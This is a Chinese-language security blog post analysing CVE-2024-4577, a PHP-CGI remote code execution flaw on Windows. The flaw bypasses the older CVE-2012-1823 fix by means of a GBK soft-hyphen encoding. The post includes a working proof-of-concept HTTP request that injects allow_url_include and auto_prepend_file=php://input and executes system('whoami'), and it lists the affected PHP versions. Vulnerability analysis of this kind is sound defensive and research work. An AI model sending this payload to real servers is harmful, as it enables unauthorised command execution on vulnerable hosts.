实战-最新PHP-RCE+详细分析(CVE-2024-4577)

2024-07-18 240 0

前言

最新PHP-RCE详细分析(CVE-2024-4577)
是一种对CVE-2012-1823的一种绕过

前身

最新的php rce是建立在CVE-2012-1823基础上的一次编码绕过,而CVE-2012-1823的成因简单来说就是在CGI模式下,用户请求的querystring被作为了php-cgi的参数传递给php-cgi.exe成功解析执行,造成RCE。
php-cgi.exe接收的参数
-c 指定php.ini文件的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助
-s查看元件源码

实战-最新PHP-RCE+详细分析(CVE-2024-4577)插图

攻击过程

urlcode编码中%3D为=,%3A为:

-d allow_url_include=on

控制允许在include、include_once、require、require_once等函数中使用URL作为文件名,可以远程url加载执行php代码

-d auto_prepend_file=php://input

php://input流通常用于读取POST数据,而-d auto_prepend_file则指定了包含的php脚本为POST输入
所以使用以下payload就使得能够允许文件包含,而文件包含是读入的POST数据流作为脚本.
poc如下:
POST /index.php?-d+allow_url_include%3Don+-d+auto_prepend_file%3Dphp%3A//input HTTP/1.1
Host: xxxxx.com
Content-Length: 25

<?php system("whoami");?>

实战-最新PHP-RCE+详细分析(CVE-2024-4577)插图1

后面官方修补的补丁中也就是把”-”这个字符给匹配过滤了
而最新版的RCE之所以只会影响繁体中文、简体中文、日文这三个语言版本的windows系统,
就是因为有大神找到了-的编码绕过方式,在我们带入参数拼接前宽字节会被转换,0x00ad显然不是一个完整的字节,而是一部分字节。
而在中文GBK编码中正好可以找到一个-来对其进行%ad编码从而绕过

实战-最新PHP-RCE+详细分析(CVE-2024-4577)插图2
实战-最新PHP-RCE+详细分析(CVE-2024-4577)插图3

实战截图

实战-最新PHP-RCE+详细分析(CVE-2024-4577)插图4

总结

1.具有简体中文、繁体中文、日文的Windows系统,支持bestfit936 GBK编码
2. 开发是在CGI(单PHP)环境中,利用条件很苛刻
3.PHP局限在一定的版本

提醒

phpstudy集成中没漏洞版本。
漏洞版本:
        PHP 8.3 < 8.3.8
        PHP 8.2 < 8.2.20
        PHP 8.1 < 8.1.29

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论